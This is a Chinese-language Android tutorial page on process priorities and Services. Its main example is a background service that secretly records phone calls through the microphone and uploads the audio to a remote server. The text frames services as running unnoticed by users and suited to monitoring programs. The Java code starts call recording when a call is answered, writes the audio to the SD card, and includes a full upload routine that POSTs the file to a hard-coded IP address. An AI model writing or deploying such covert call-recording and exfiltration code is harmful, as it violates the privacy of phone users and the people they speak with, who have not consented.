編輯:關於Android編程
首先說一下進程的優先級:
Foreground process 前台進程
優先級別最高,即便系統內存不足的時候 也不會殺死前台進程
Visible process 可見進程
優先級稍為低一點
Service process 服務進程
存活時間比較長 .
裡面的子線程不會回收.
Background process 後台進程
Empty process 空進程
沒有任何的組件進程
為什麼要使用 service 是因為service這個組件會長期的在後台運行
一般情況下不會別操作系統回收.
Android中的服務和windows中的服務是類似的東西,服務一般沒有用戶操作界面,它運行於系統中不容易被用戶發覺,可以使用它開發如監控之類的程序。服務的開發比較簡單,如下:
public class SMSService extends Service { }
采用Context.startService()方法啟動服務,只能調用Context.stopService()方法結束服務,服務結束時會調用onDestroy()方法。
采用服務監聽用戶的通話,上傳信息到服務器代碼示例:
PhoneListenService.java:
package cn.itcast.phonelistener;
import java.io.File;
import org.apache.commons.httpclient.methods.PostMethod;
import org.apache.commons.httpclient.methods.multipart.FilePart;
import org.apache.commons.httpclient.methods.multipart.MultipartRequestEntity;
import org.apache.commons.httpclient.methods.multipart.Part;
import android.app.Service;
import android.content.Intent;
import android.media.MediaRecorder;
import android.os.IBinder;
import android.telephony.PhoneStateListener;
import android.telephony.TelephonyManager;
public class PhoneListenService extends Service {
// activity receiver contentprovider
@Override
public IBinder onBind(Intent intent) {
return null;
}
/**
* 在服務第一次被創建的時候 執行
*/
@Override
public void onCreate() {
super.onCreate();
// 設置為前台進程 不易被系統回收
setForeground(true);
// 1. 判斷當前手機的狀態,
// 2.如果發現手機處於 通話狀態
// 3.創建一個錄音器, 錄下來用戶的通話信息
// 4.當發現手機再次處於 idle 狀態 停止錄音機,把音頻文件 上傳到服務器
// 得到手機與電話狀態相關的服務
TelephonyManager manager = (TelephonyManager) this
.getSystemService(TELEPHONY_SERVICE);
// this.getSystemService(WIFI_SERVICE);
manager.listen(new MyPhoneListener(),
PhoneStateListener.LISTEN_CALL_STATE);
System.out.println(" 線程id " + Thread.currentThread().getName());
}
private class MyPhoneListener extends PhoneStateListener {
MediaRecorder recorder = null;
/**
* 當電話的通話狀態發生改變的時候 被調用的方法
*/
@Override
public void onCallStateChanged(int state, String incomingNumber) {
try {
switch (state) {
case TelephonyManager.CALL_STATE_IDLE: // 當前電話處於閒置狀態
System.out.println("當前電話處於閒置狀態 ");
// 判斷下recorder是否為空
if (recorder != null) {
recorder.stop();
recorder.release(); // Now the object cannot be reused
recorder = null;
new Thread() {
@Override
public void run() {
// 上傳數據到服務器 演示的代碼 有問題的
File file = new File("/sdcard/temp.3gp");
try {
// upload(file);
} catch (Exception e) {
e.printStackTrace();
}
}
}.start();
}
break;
case TelephonyManager.CALL_STATE_RINGING: // 當前電話處於零響狀態
System.out.println("電話號碼為 " + incomingNumber);
break;
case TelephonyManager.CALL_STATE_OFFHOOK: // 當前電話處於接聽狀態
System.out.println("當前電話處於通話狀態 ");
// 初始化一個錄音器,
recorder = new MediaRecorder();
recorder.setAudioSource(MediaRecorder.AudioSource.MIC);
recorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
recorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);
recorder.setOutputFile("/sdcard/temp.3gp");
recorder.prepare();
recorder.start(); // Recording is now started
break;
}
} catch (Exception e) {
e.printStackTrace();
}
super.onCallStateChanged(state, incomingNumber);
}
}
// 上傳數據到服務器
public void upload(File file) throws Exception {
// 實例化上傳數據的 數組 part []
Part[] parts = { new FilePart("file", file) };
PostMethod filePost = new PostMethod(
"http://172.16.40.157:8080/web2/LoginServlet");
filePost.setRequestEntity(new MultipartRequestEntity(parts, filePost
.getParams()));
org.apache.commons.httpclient.HttpClient client = new org.apache.commons.httpclient.HttpClient();
client.getHttpConnectionManager().getParams()
.setConnectionTimeout(5000);
int status = client.executeMethod(filePost);
System.out.println(status);
if (status == 200) {
System.out.println("上傳成功");
} else {
throw new IllegalStateException("服務器狀態異常");
}
}
}DemoActivity.java:
package cn.itcast.phonelistener;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
public class DemoActivity extends Activity {
/** Called when the activity is first created. */
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.main);
Intent intent = new Intent(this, PhoneListenService.class);
startService(intent);
}
}清單文件:
類似於以上代碼,provider、activity、receiver組件可以使用同樣的方法開始意圖。
Android自定義LinearLayout實現淘寶詳情頁
1.簡單說明淘寶詳情頁就不用我一一介紹了,昨天逛淘寶看到這個效果時,讓我想起了去年剛學習Android只會使用現成的時候,當時在網上找了一個這種效果的使用了,並不懂怎麼實
AndroidStudio 如何使用JNI
一這是本人第一次寫博客 請多多關照第一次接觸到Android NDK 真是蒙圈 因為需要和Bluetooth下位機接觸 所以要在項目中鑲嵌Cpp 算法 然後總結了andr
Android 應用程序窗體顯示狀態操作(requestWindowFeature()的應用)
我們在開發程序是經常會需要軟件全屏顯示、自定義標題(使用按鈕等控件)和其他的需求,今天這一講就是如何控制Android應用程序的窗體顯示
如何優雅地使用NDK[功能補充]
說在前面的話:這篇文章是看了如何優雅地使用NDK後,對原博客功能的補充。為了方便大家的閱讀順序,直接添加到原博客之中,如有侵犯版權,請聯系我。這篇博客有轉載,有原創,只是